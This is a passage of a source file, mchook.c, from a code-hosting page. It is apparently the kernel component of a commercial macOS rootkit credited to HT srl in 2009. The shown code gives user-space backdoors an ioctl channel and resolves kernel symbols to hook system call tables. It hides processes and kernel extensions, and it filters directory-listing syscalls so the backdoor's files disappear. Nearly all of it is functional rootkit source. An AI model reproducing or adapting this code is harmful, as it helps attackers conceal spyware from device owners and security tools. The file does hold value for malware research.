-
Notifications
You must be signed in to change notification settings - Fork 117
/
mchook.c
1878 lines (1638 loc) · 49.4 KB
/
mchook.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
/*
* McHook, mchook.c
* OS X KSpace Rootkit
*
* [Features]
* x sysent hooking for bsd syscalls
* x mach_trap_table hooking for mach traps
* x process hiding
* x uspace->kspace proc hiding handler (kill)
* x kext hiding
* x filesystem hiding
* x uspace->kspace communication channel (ioctl)
* x Data structures keeping track of USpace Backdoor(s) pid
* and Path(s)/Filename(s)
*
*
* Created by revenge on 20/03/2009
* Copyright (C) HT srl 2009. All rights reserved
*
*/
#include <mach/mach_types.h>
#include <sys/systm.h>
#include <sys/kernel.h>
#include <sys/param.h>
#include <sys/types.h>
#include <sys/sysctl.h>
#include <sys/dirent.h>
#include <sys/conf.h>
#include <sys/attr.h>
#include <AvailabilityMacros.h>
#include <sys/ioctl.h>
#include <miscfs/devfs/devfs.h>
#include <stdint.h>
#include "mchook.h"
#pragma mark -
#pragma mark Global define(s)
#pragma mark -
#define MK_MBUF 1
#define PLENGTH 6
#define IM "appleHID"
#define OSAX "appleOsax"
#define KERNEL_BASE 0xffffff8000200000 // SL 10.6.4
//#define DEBUG
#pragma mark -
#pragma mark Global variables
#pragma mark -
static reg_backdoors_t *g_reg_backdoors[MAX_BACKDOOR_ENTRIES];
static exclusion_list_t g_exclusion_list[2] = {
"launchd", 1,
"launchctl", 1,
};
static int g_process_excluded = 2;
static int g_kext_hidden = 0;
// Holding current kmod entry pointer
//static kmod_info_t *currentK;
// Holding the uspace backdoor count
static int g_registered_backdoors = 0;
// BSD IOCTL stuff
static int major = -1;
static void *devfs_handle = 0;
static int g_os_major = 0;
static int g_os_minor = 0;
static int g_os_bugfix = 0;
static int g_symbols_resolved = 0;
// Character device switch table
static struct cdevsw chardev = {
cdev_open, // open
cdev_close, // close
eno_rdwrt, // read
eno_rdwrt, // write
cdev_ioctl, // ioctl
eno_stop, // stop
eno_reset, // reset
0, // ttys
eno_select, // select
eno_mmap, // mmap
eno_strat, // strategy
eno_getc, // getc
eno_putc, // putc
0 // type
};
#pragma mark -
#pragma mark Main IOCTL Functions
#pragma mark -
static int cdev_open(dev_t dev, int flags, int devtype, struct proc *p) {
return 0;
}
static int cdev_close(dev_t dev, int flags, int devtype, struct proc *p) {
return 0;
}
static int cdev_ioctl(dev_t dev,
u_long cmd,
caddr_t data,
int fflag,
struct proc *p)
{
int error = 0;
char username[MAX_USER_SIZE];
switch (cmd) {
case MCHOOK_INIT: {
if (data) {
strncpy(username, (char *)data, MAX_USER_SIZE);
#ifdef DEBUG
printf("[MCHOOK] Init for user %s with pid %d\n", username, p->p_pid);
#endif
if (backdoor_init(username, p) == FALSE) {
#ifdef DEBUG
printf("[MCHOOK] Error on init\n");
#endif
}
}
} break;
case MCHOOK_HIDEK: {
#ifdef DEBUG
printf("[MCHOOK] MCHOOK_HIDEK called\n");
#endif
if (g_symbols_resolved == 1) {
if (g_os_major == 10 && g_os_minor > 5) {
hide_kext_osarray();
//hide_kext_leopard();
}
else {
#ifdef DEBUG
printf("[MCHOOK] KEXT hiding not supported yet\n");
#endif
}
}
else {
#ifdef DEBUG
printf("[MCHOOK] Error, symbols not correctly resolved\n");
#endif
}
} break;
case MCHOOK_HIDEP: {
#ifdef DEBUG
printf("[MCHOOK] MCHOOK_HIDEP called\n");
#endif
if (data && g_symbols_resolved == 1) {
strncpy(username, (char *)data, MAX_USER_SIZE);
#ifdef DEBUG
pid_t pid = p->p_pid;
printf("[MCHOOK] Hiding PID: %d\n", pid);
#endif
int backdoor_index = 0;
if ((backdoor_index = get_active_bd_index(username, p->p_pid)) == -1) {
#ifdef DEBUG
printf("[MCHOOK] ERR: get_active_bd_index returned -1 in HIDEP\n");
#endif
return error;
}
if (g_reg_backdoors[backdoor_index]->is_proc_hidden == 1) {
#ifdef DEBUG
printf("[MCHOOK] ERR: Backdoor is already hidden\n");
#endif
return error;
}
if (hide_proc(p, username, backdoor_index) == -1) {
#ifdef DEBUG
printf("[MCHOOK] hide_proc failed\n");
#endif
}
}
} break;
case MCHOOK_HIDED: {
#ifdef DEBUG
printf("[MCHOOK] MCHOOK_HIDED called\n");
#endif
if (data) {
char dirName[MAX_DIRNAME_SIZE];
strncpy(dirName, (char *)data, MAX_DIRNAME_SIZE);
add_dir_to_hide(dirName, p->p_pid);
}
} break;
case MCHOOK_UNREGISTER: {
#ifdef DEBUG
printf("[MCHOOK] MCHOOK_UNREGISTER called (%lu)\n", cmd);
#endif
if (data && g_symbols_resolved == 1) {
strncpy(username, (char *)data, MAX_USER_SIZE);
#ifdef DEBUG
printf("[MCHOOK] Unregister for user: %s\n", username);
printf("[MCHOOK] backdoorCounter: %d\n", g_registered_backdoors);
#endif
#if 0
//
// g_backdoor_current could get messed up (e.g. 2 backdoors on the same machine
// one gets uninstalled, the other is still active but there's no way
// for it to be referenced by g_backdoor_current, thus we call get_active_bd_index
//
if (g_backdoor_current == -1) {
if ((g_backdoor_current = get_active_bd_index(p, username)) == -1) {
#ifdef DEBUG
printf("[MCHOOK] unregistering err - backdoor not registered?!!\n");
#endif
}
}
if (g_backdoor_current != -1
&& g_reg_backdoors[g_backdoor_current]->isProcHidden == 1) {
#ifdef DEBUG
printf("[MCHOOK] Re-linking process %d\n", p->p_pid);
#endif
unhide_proc(p);
}
#endif
int backdoor_index;
if ((backdoor_index = get_active_bd_index(username, p->p_pid)) == -1) {
#ifdef DEBUG
printf("[MCHOOK] ERR: get_active_bd_index returned -1 in UNREGISTER\n");
#endif
return error;
}
if (g_reg_backdoors[backdoor_index]->is_proc_hidden == 1) {
#ifdef DEBUG
printf("[MCHOOK] Backdoor is hidden, unhiding\n");
#endif
unhide_proc(p, backdoor_index);
}
//g_backdoor_current = -1;
dealloc_meh(username, p->p_pid);
if (g_registered_backdoors == 0) {
#ifdef DEBUG
printf("[MCHOOK] No more backdoor left, unhooking\n");
#endif
remove_hooks();
}
}
} break;
case MCHOOK_GET_ACTIVES: {
*data = g_registered_backdoors;
} break;
#if __LP64__ || NS_BUILD_32_LIKE_64
case MCHOOK_SOLVE_SYM_64: {
#ifdef DEBUG
printf("[MCHOOK] MCHOOK_SOLVE_SYM_64\n");
#endif
symbol64_t *syms = (symbol64_t *)data;
#ifdef DEBUG
printf("[MCHOOK] hash : 0x%llx\n", syms->hash);
printf("[MCHOOK] address : 0x%llx\n", syms->address);
#endif
if (g_symbols_resolved == 1)
return error;
switch (syms->hash) {
case KMOD_HASH: {
#ifdef DEBUG
printf("[MCHOOK] kmod symbol received\n");
#endif
i_kmod = (kmod_info_t *)syms->address;
} break;
case NSYSENT_HASH: {
#ifdef DEBUG
printf("[MCHOOK] nsysent symbol received\n");
#endif
i_nsysent = (int *)syms->address;
#ifdef DEBUG
printf("[MCHOOK] nsysent: %ld\n", (long int)*i_nsysent);
#endif
} break;
case TASKS_HASH: {
#ifdef DEBUG
printf("[MCHOOK] tasks symbol received\n");
#endif
i_tasks = (queue_head_t *)syms->address;
} break;
case ALLPROC_HASH: {
#ifdef DEBUG
printf("[MCHOOK] allproc symbol received\n");
#endif
i_allproc = (struct proclist *)syms->address;
} break;
case TASKS_COUNT_HASH: {
#ifdef DEBUG
printf("[MCHOOK] tasks_count symbol received\n");
#endif
i_tasks_count = (int *)syms->address;
} break;
case NPROCS_HASH: {
#ifdef DEBUG
printf("[MCHOOK] nprocs symbol received\n");
#endif
i_nprocs = (int *)syms->address;
} break;
case TASKS_THREADS_LOCK_HASH: {
#ifdef DEBUG
printf("[MCHOOK] tasks_threads_lock symbol received\n");
#endif
i_tasks_threads_lock = (lck_mtx_t *)syms->address;
} break;
case PROC_LOCK_HASH: {
#ifdef DEBUG
printf("[MCHOOK] proc_lock symbol received\n");
#endif
i_proc_lock = (void *)syms->address;
} break;
case PROC_UNLOCK_HASH: {
#ifdef DEBUG
printf("[MCHOOK] proc_unlock symbol received\n");
#endif
i_proc_unlock = (void *)syms->address;
} break;
case PROC_LIST_LOCK_HASH: {
#ifdef DEBUG
printf("[MCHOOK] proc_list_lock symbol received\n");
#endif
i_proc_list_lock = (void *)syms->address;
} break;
case PROC_LIST_UNLOCK_HASH: {
#ifdef DEBUG
printf("[MCHOOK] proc_list_unlock symbol received\n");
#endif
i_proc_list_unlock = (void *)syms->address;
} break;
case KEXT_LOOKUP_WITH_TAG: {
#ifdef DEBUG
printf("[MCHOOK] kext_lookup_with_tag symbol received\n");
#endif
kext_lookup_with_tag = (int *)syms->address;
} break;
case IO_RECURSIVE_LOCK: {
#ifdef DEBUG
printf("[MCHOOK] io_recursive_log symbol received\n");
#endif
io_recursive_log = (int *)syms->address;
} break;
default: {
#ifdef DEBUG
printf("[MCHOOK] symbol not supported yet\n");
#endif
} break;
}
} break;
#else
case MCHOOK_SOLVE_SYM_32: {
#ifdef DEBUG
printf("[MCHOOK] MCHOOK_SOLVE_SYM_32\n");
#endif
symbol32_t *syms = (symbol32_t *)data;
#ifdef DEBUG
printf("[MCHOOK] hash : 0x%x\n", syms->hash);
printf("[MCHOOK] address : 0x%x\n", syms->address);
#endif
if (g_symbols_resolved == 1)
return error;
switch (syms->hash) {
case KMOD_HASH: {
#ifdef DEBUG
printf("[MCHOOK] kmod symbol received\n");
#endif
i_kmod = (kmod_info_t *)syms->address;
} break;
case NSYSENT_HASH: {
#ifdef DEBUG
printf("[MCHOOK] nsysent symbol received\n");
#endif
i_nsysent = (int *)syms->address;
#ifdef DEBUG
printf("[MCHOOK] nsysent: %ld\n", (long int)*i_nsysent);
#endif
} break;
case TASKS_HASH: {
#ifdef DEBUG
printf("[MCHOOK] tasks symbol received\n");
#endif
i_tasks = (queue_head_t *)syms->address;
} break;
case ALLPROC_HASH: {
#ifdef DEBUG
printf("[MCHOOK] allproc symbol received\n");
#endif
i_allproc = (struct proclist *)syms->address;
} break;
case TASKS_COUNT_HASH: {
#ifdef DEBUG
printf("[MCHOOK] tasks_count symbol received\n");
#endif
i_tasks_count = (int *)syms->address;
} break;
case NPROCS_HASH: {
#ifdef DEBUG
printf("[MCHOOK] nprocs symbol received\n");
#endif
i_nprocs = (int *)syms->address;
} break;
case TASKS_THREADS_LOCK_HASH: {
#ifdef DEBUG
printf("[MCHOOK] tasks_threads_lock symbol received\n");
#endif
i_tasks_threads_lock = (lck_mtx_t *)syms->address;
} break;
case PROC_LOCK_HASH: {
#ifdef DEBUG
printf("[MCHOOK] proc_lock symbol received\n");
#endif
i_proc_lock = (void *)syms->address;
} break;
case PROC_UNLOCK_HASH: {
#ifdef DEBUG
printf("[MCHOOK] proc_unlock symbol received\n");
#endif
i_proc_unlock = (void *)syms->address;
} break;
case PROC_LIST_LOCK_HASH: {
#ifdef DEBUG
printf("[MCHOOK] proc_list_lock symbol received\n");
#endif
i_proc_list_lock = (void *)syms->address;
} break;
case PROC_LIST_UNLOCK_HASH: {
#ifdef DEBUG
printf("[MCHOOK] proc_list_unlock symbol received\n");
#endif
i_proc_list_unlock = (void *)syms->address;
} break;
case KEXT_LOOKUP_WITH_TAG: {
#ifdef DEBUG
printf("[MCHOOK] kext_lookup_with_tag symbol received\n");
#endif
kext_lookup_with_tag = (int *)syms->address;
} break;
case IO_RECURSIVE_LOCK: {
#ifdef DEBUG
printf("[MCHOOK] io_recursive_log symbol received\n");
#endif
io_recursive_log = (int *)syms->address;
} break;
default: {
#ifdef DEBUG
printf("[MCHOOK] symbol not supported yet\n");
#endif
} break;
}
} break;
#endif
case MCHOOK_FIND_SYS: {
#ifdef DEBUG
printf("[MCHOOK] MCHOOK_FIND_SYS called\n");
#endif
if (data && check_symbols_integrity() == 1) {
#ifdef DEBUG
printf("[MCHOOK] symbols resolved\n");
#endif
os_version_t *os_ver = (os_version_t *)data;
g_os_major = os_ver->major;
g_os_minor = os_ver->minor;
g_os_bugfix = os_ver->bugfix;
// Find sysent table
_sysent = find_sysent(os_ver);
if (_sysent == NULL) {
#ifdef DEBUG
printf("[MCHOOK] sysent not found\n");
#endif
}
else {
#ifdef DEBUG
printf("[MCHOOK] All symbols were resolved and sysent found\n");
#endif
place_hooks();
}
}
else {
#ifdef DEBUG
printf("[MCHOOK] No data or symbols not resolved (%d)\n", g_symbols_resolved);
#endif
}
} break;
default: {
#ifdef DEBUG
printf("[MCHOOK] Unknown command called dudeeeee: %lu\n", cmd);
#endif
error = EINVAL;
} break;
}
return error;
}
#pragma mark -
#pragma mark Hooks
#pragma mark -
int hook_getdirentries(struct proc *p,
struct mk_getdirentries_args *uap,
int *retval)
{
struct dirent *tmp, *current;
long size, count, length = 0;
int flag = 0;
int i_entry, i_path;
real_getdirentries(p, uap, retval);
size = retval[0];
if (size > 0
&& check_for_process_exclusions(p->p_pid) == -1) {
MALLOC(tmp, struct dirent *, size, MK_MBUF, M_WAITOK);
copyin(uap->buf, tmp, size);
count = size;
current = (struct dirent *)(char *)tmp;
while (count > 0) {
length = current->d_reclen;
count -= length;
for (i_entry = 0; i_entry < g_registered_backdoors; i_entry++) {
//
// Enforce checks in order to avoid situation where all the files are hidden
// from the disk since the g_reg_backdoors structure is inconsistent
//
if (g_reg_backdoors[i_entry]->is_active == 1) {
for (i_path = 0; i_path < g_reg_backdoors[i_entry]->path_counter; i_path++) {
if (strncmp(g_reg_backdoors[i_entry]->path[i_path], "",
strlen(g_reg_backdoors[i_entry]->path[i_path])) == 0)
continue;
if (strncmp((char *)&(current->d_name),
g_reg_backdoors[i_entry]->path[i_path],
strlen(g_reg_backdoors[i_entry]->path[i_path])) == 0) {
if (count != 0) {
// Remove the entry from buf
memmove((char *)current, (char *)current + length, count);
flag = 1;
}
// Adjust the size since we removed an entry
size -= length;
break;
}
}
}
if (flag)
break;
}
#if 0
if (strncmp((char *)&(current->d_name), PREFIX, PLENGTH) == 0) {
if (count != 0) {
// Remove the entry from buf
bcopy((char *)current + length, (char *)current, count - length);
flag = 1;
}
// Adjust the size since we removed an entry
size -= length;
}
#endif
// Last dir always has length of 0
if (current->d_reclen == 0)
count = 0;
// Point to the next struct entry if we didn't remove anything
if (count != 0 && flag == 0)
current = (struct dirent *)((char *)current + length);
flag = 0;
}
// Update the return size
*retval = size;
// Copy back to uspace the modified buffer
copyout(tmp, uap->buf, size);
FREE(tmp, MK_MBUF);
}
return(0);
}
int hook_getdirentries64(struct proc *p,
struct mk_getdirentries64_args *uap,
int *retval)
{
void *tmp;
struct direntry *current;
long size, count, length = 0;
int flag = 0;
int i_entry, i_path;
real_getdirentries64(p, uap, retval);
size = retval[0];
if (size > 0
&& check_for_process_exclusions(p->p_pid) == -1) {
MALLOC(tmp, struct direntry *, size, MK_MBUF, M_WAITOK);
copyin(uap->buf, tmp, size);
count = size;
current = (struct direntry *)(char *)tmp;
while (count > 0) {
length = current->d_reclen;
count -= length;
for (i_entry = 0; i_entry < g_registered_backdoors; i_entry++) {
//
// Enforce checks in order to avoid situation where all the files are hidden
// from the disk since the g_reg_backdoors structure is inconsistent
//
if (g_reg_backdoors[i_entry]->is_active == 1) {
for (i_path = 0; i_path < g_reg_backdoors[i_entry]->path_counter; i_path++) {
if (strncmp(g_reg_backdoors[i_entry]->path[i_path], "",
strlen(g_reg_backdoors[i_entry]->path[i_path])) == 0)
continue;
if (strncmp((char *)&(current->d_name),
g_reg_backdoors[i_entry]->path[i_path],
strlen(g_reg_backdoors[i_entry]->path[i_path])) == 0) {
if (count != 0) {
// Remove the entry from buf
memmove((char *)current, (char *)current + length, count);
flag = 1;
}
// Adjust the size since we removed an entry
size -= length;
break;
}
}
}
if (flag)
break;
}
#if 0
if (strncmp((char *)&(current->d_name), PREFIX, PLENGTH) == 0) {
if (count != 0) {
// Remove the entry from buf
bcopy((char *)current + length, (char *)current, count - length);
flag = 1;
}
// Adjust the size since we removed an entry
size -= length;
}
#endif
// Last entry always has length of 0
if (current->d_reclen == 0)
count = 0;
// Point to the next struct entry
if (count != 0 && flag == 0)
current = (struct direntry *)((char *)current + length);
flag = 0;
}
// Update the return size
*retval = size;
// Copy back to uspace the modified buffer
copyout(tmp, uap->buf, size);
FREE(tmp, MK_MBUF);
}
return(0);
}
int hook_getdirentriesattr(struct proc *p,
struct mk_getdirentriesattr_args *uap,
int *retval)
{
char procname[20];
char *curr_entry = NULL;
attr_list_t al;
int success = 0;
int flag = 0;
int curr_backdoor, curr_path;
int index = 0;
u_int32_t count = 0;
u_int32_t entry_size = 0;
/*attribute_buffer_t *buf, *this_entry;*/
FInfoAttrBuf *this_entry;
char *buf;
success = real_getdirentriesattr(p, uap, retval);
proc_name(p->p_pid, procname, sizeof(procname));
#ifdef DEBUG_VERBOSE
printf("p_start sec: %d for %s\n", (int)p->p_start.tv_sec, procname);
#endif
if (check_for_process_exclusions(p->p_pid) == -1) {
#ifdef DEBUG_VERBOSE
printf("getdirentriesattr called by %s\n", procname);
printf("ATTRLIST - %s commonattr %08x | volattr %08x | fileattr %08x | dirattr %08x | forkattr %08x | %sfollow\n",
p->p_comm, al.commonattr, al.volattr, al.fileattr, al.dirattr, al.forkattr,
(uap->options & FSOPT_NOFOLLOW) ? "no" : "");
getAttributesForBitFields(al);
#endif
copyin(uap->alist, (caddr_t)&al, sizeof(al));
copyin(uap->count, (caddr_t)&count, sizeof(count));
#ifdef DEBUG_VERBOSE
printf("bufferSize: %d\n", (int)uap->buffersize);
#endif
/*MALLOC(buf, attribute_buffer_t *, uap->buffersize, MK_MBUF, M_WAITOK);*/
MALLOC(buf, char *, uap->buffersize, MK_MBUF, M_WAITOK);
copyin(uap->buffer, (caddr_t)buf, uap->buffersize);
/*this_entry = (attribute_buffer_t *)(char *)buf;*/
this_entry = (FInfoAttrBuf *)buf;
int _tmp_size = uap->buffersize;
index = count;
#ifdef DEBUG_VERBOSE
printf("[MCHOOK] _tmp_size start : %d\n", _tmp_size);
printf("[MCHOOK] index start : %d\n", index);
#endif
while (_tmp_size > 0 && index > 0) {
entry_size = this_entry->length;
curr_entry = (char *)&this_entry->name;
curr_entry += this_entry->name.attr_dataoffset;
#ifdef DEBUG_VERBOSE
printf("[MCHOOK] curr_entry st : %llx\n", (unsigned long long)curr_entry);
printf("[MCHOOK] data offset st : %x\n", this_entry->name.attr_dataoffset);
printf("[MCHOOK] _tmp_size st : %x\n", _tmp_size);
printf("[MCHOOK] index st : %d\n", index);
#endif
if (this_entry->name.attr_dataoffset > 0) {
for (curr_backdoor = 0; curr_backdoor < g_registered_backdoors; curr_backdoor++) {
//
// Enforce checks in order to avoid situation where all the files are hidden
// from the disk since the g_reg_backdoors structure is inconsistent
//
if (g_reg_backdoors[curr_backdoor]->is_active == 1) {
for (curr_path = 0;
curr_path < g_reg_backdoors[curr_backdoor]->path_counter;
curr_path++) {
#ifdef DEBUG_VERBOSE
printf("[MCHOOK] curr_entry f : %llx\n", (unsigned long long)curr_entry);
printf("[MCHOOK] g_curr_entry f: %s\n", g_reg_backdoors[curr_backdoor]->path[curr_path]);
#endif
if (strncmp(g_reg_backdoors[curr_backdoor]->path[curr_path],
"",
strlen(g_reg_backdoors[curr_backdoor]->path[curr_path])) == 0)
continue;
if (strncmp(curr_entry,
g_reg_backdoors[curr_backdoor]->path[curr_path],
strlen(g_reg_backdoors[curr_backdoor]->path[curr_path])) == 0) {
if ((strncmp(curr_entry, IM, strlen(IM)) == 0)
|| (strncmp(curr_entry, OSAX, strlen(OSAX)) == 0)) {
if (p->p_start.tv_sec == 0) {
#ifdef DEBUG
printf("Entry matched for %s (first time) - skipping\n", curr_entry);
#endif
p->p_start.tv_sec = 1;
continue;
}
}
#ifdef DEBUG_VERBOSE
printf("%s REQUESTED %s\n", procname, curr_entry);
#endif
// Remove the entry from buf
memmove((char *)this_entry,
(char *)((NSUInteger)this_entry + entry_size),
_tmp_size);
flag = 1;
// Adjust the counter since we removed an entry
count--;
break;
}
}
}
if (flag)
break;
}
}
else {
#ifdef DEBUG_VERBOSE
printf("[MCHOOK] dataoffset is 0\n");
#endif
}
_tmp_size -= entry_size;
index -= 1;
// Advance to the next entry
/*if (_tmp_size != 0 && flag == 0)*/
/*this_entry = (attribute_buffer_t *)((NSUInteger)this_entry + entry_size);*/
if (_tmp_size > 0 && flag == 0) {
char *z = ((char *)this_entry) + entry_size;
this_entry = (FInfoAttrBuf *)z;
}
}
// Back to uspace
copyout((caddr_t)buf, uap->buffer, uap->buffersize);
copyout(&count, uap->count, sizeof(count));
FREE(buf, MK_MBUF);
}
else {
#ifdef DEBUG
printf("Process excluded from hiding: %s\n", procname);
#endif
}
return success;
}
#pragma mark -
#pragma mark General purpose functions
#pragma mark -
#ifdef DEBUG
void getAttributesForBitFields(attr_list_t al)
{
// commonattr checks
if (al.commonattr & ATTR_CMN_NAME)
printf("ATTR_CMN_NAME\n");
if (al.commonattr & ATTR_CMN_DEVID)
printf("ATTR_CMN_DEVID\n");
if (al.commonattr & ATTR_CMN_FSID)
printf("ATTR_CMN_FSID\n");
if (al.commonattr & ATTR_CMN_OBJTYPE)
printf("ATTR_CMN_OBJTYPE\n");
if (al.commonattr & ATTR_CMN_OBJTAG)
printf("ATTR_CMN_OBJTAG\n");
if (al.commonattr & ATTR_CMN_OBJID)
printf("ATTR_CMN_OBJID\n");
if (al.commonattr & ATTR_CMN_OBJPERMANENTID)
printf("ATTR_CMN_OBJPERMANENTID\n");
if (al.commonattr & ATTR_CMN_PAROBJID)
printf("ATTR_CMN_PAROBJID\n");
if (al.commonattr & ATTR_CMN_SCRIPT)
printf("ATTR_CMN_SCRIPT\n");
if (al.commonattr & ATTR_CMN_CRTIME)
printf("ATTR_CMN_CRTIME\n");
if (al.commonattr & ATTR_CMN_MODTIME)
printf("ATTR_CMN_MODTIME\n");
if (al.commonattr & ATTR_CMN_CHGTIME)
printf("ATTR_CMN_CHGTIME\n");
if (al.commonattr & ATTR_CMN_ACCTIME)
printf("ATTR_CMN_ACCTIME\n");
if (al.commonattr & ATTR_CMN_BKUPTIME)
printf("ATTR_CMN_BKUPTIME\n");
if (al.commonattr & ATTR_CMN_FNDRINFO)
printf("ATTR_CMN_FNDRINFO\n");
if (al.commonattr & ATTR_CMN_OWNERID)
printf("ATTR_CMN_OWNERID\n");
if (al.commonattr & ATTR_CMN_GRPID)
printf("ATTR_CMN_GRPID\n");
if (al.commonattr & ATTR_CMN_ACCESSMASK)
printf("ATTR_CMN_ACCESSMASK\n");
if (al.commonattr & ATTR_CMN_FLAGS)
printf("ATTR_CMN_FLAGS\n");
if (al.commonattr & ATTR_CMN_USERACCESS)
printf("ATTR_CMN_USERACCESS\n");
if (al.commonattr & ATTR_CMN_EXTENDED_SECURITY)
printf("ATTR_CMN_EXTENDED_SECURITY\n");
if (al.commonattr & ATTR_CMN_UUID)
printf("ATTR_CMN_UUID\n");
if (al.commonattr & ATTR_CMN_GRPUUID)
printf("ATTR_CMN_GRPUUID\n");
if (al.commonattr & ATTR_CMN_FILEID)
printf("ATTR_CMN_FILEID\n");
if (al.commonattr & ATTR_CMN_PARENTID)
printf("ATTR_CMN_PARENTID\n");
if (al.commonattr & ATTR_CMN_VALIDMASK)
printf("ATTR_CMN_VALIDMASK\n");
if (al.commonattr & ATTR_CMN_SETMASK)
printf("ATTR_CMN_SETMASK\n");
if (al.commonattr & ATTR_CMN_VOLSETMASK)
printf("ATTR_CMN_VOLSETMASK\n");
// volattr checks
if (al.volattr & ATTR_VOL_FSTYPE)
printf("ATTR_VOL_FSTYPE\n");
if (al.volattr & ATTR_VOL_SIGNATURE)
printf("ATTR_VOL_SIGNATURE\n");
if (al.volattr & ATTR_VOL_SIZE)
printf("ATTR_VOL_SIZE\n");
if (al.volattr & ATTR_VOL_SPACEFREE)
printf("ATTR_VOL_SPACEFREE\n");
if (al.volattr & ATTR_VOL_SPACEAVAIL)
printf("ATTR_VOL_SPACEAVAIL\n");
if (al.volattr & ATTR_VOL_MINALLOCATION)
printf("ATTR_VOL_MINALLOCATION\n");
if (al.volattr & ATTR_VOL_ALLOCATIONCLUMP)
printf("ATTR_VOL_ALLOCATIONCLUMP\n");
if (al.volattr & ATTR_VOL_IOBLOCKSIZE)
printf("ATTR_VOL_IOBLOCKSIZE\n");
if (al.volattr & ATTR_VOL_OBJCOUNT)
printf("ATTR_VOL_OBJCOUNT\n");
if (al.volattr & ATTR_VOL_FILECOUNT)
printf("ATTR_VOL_FILECOUNT\n");
if (al.volattr & ATTR_VOL_DIRCOUNT)
printf("ATTR_VOL_DIRCOUNT\n");
if (al.volattr & ATTR_VOL_MAXOBJCOUNT)
printf("ATTR_VOL_MAXOBJCOUNT\n");
if (al.volattr & ATTR_VOL_MOUNTPOINT)
printf("ATTR_VOL_MOUNTPOINT\n");
if (al.volattr & ATTR_VOL_NAME)
printf("ATTR_VOL_NAME\n");
if (al.volattr & ATTR_VOL_MOUNTFLAGS)
printf("ATTR_VOL_MOUNTFLAGS\n");
if (al.volattr & ATTR_VOL_MOUNTEDDEVICE)
printf("ATTR_VOL_MOUNTEDDEVICE\n");
if (al.volattr & ATTR_VOL_ENCODINGSUSED)
printf("ATTR_VOL_ENCODINGSUSED\n");
if (al.volattr & ATTR_VOL_CAPABILITIES)
printf("ATTR_VOL_CAPABILITIES\n");
if (al.volattr & ATTR_VOL_ATTRIBUTES)
printf("ATTR_VOL_ATTRIBUTES\n");
if (al.volattr & ATTR_VOL_INFO)
printf("ATTR_VOL_INFO\n");
if (al.volattr & ATTR_VOL_VALIDMASK)
printf("ATTR_VOL_VALIDMASK\n");
if (al.volattr & ATTR_VOL_SETMASK)
printf("ATTR_VOL_SETMASK\n");
// dirattr checks
if (al.dirattr & ATTR_DIR_ENTRYCOUNT)
printf("ATTR_DIR_ENTRYCOUNT\n");
if (al.dirattr & ATTR_DIR_LINKCOUNT)
printf("ATTR_DIR_LINKCOUNT\n");
}
#endif
int check_for_process_exclusions(pid_t pid)
{
char procname[20];
int i = 0;
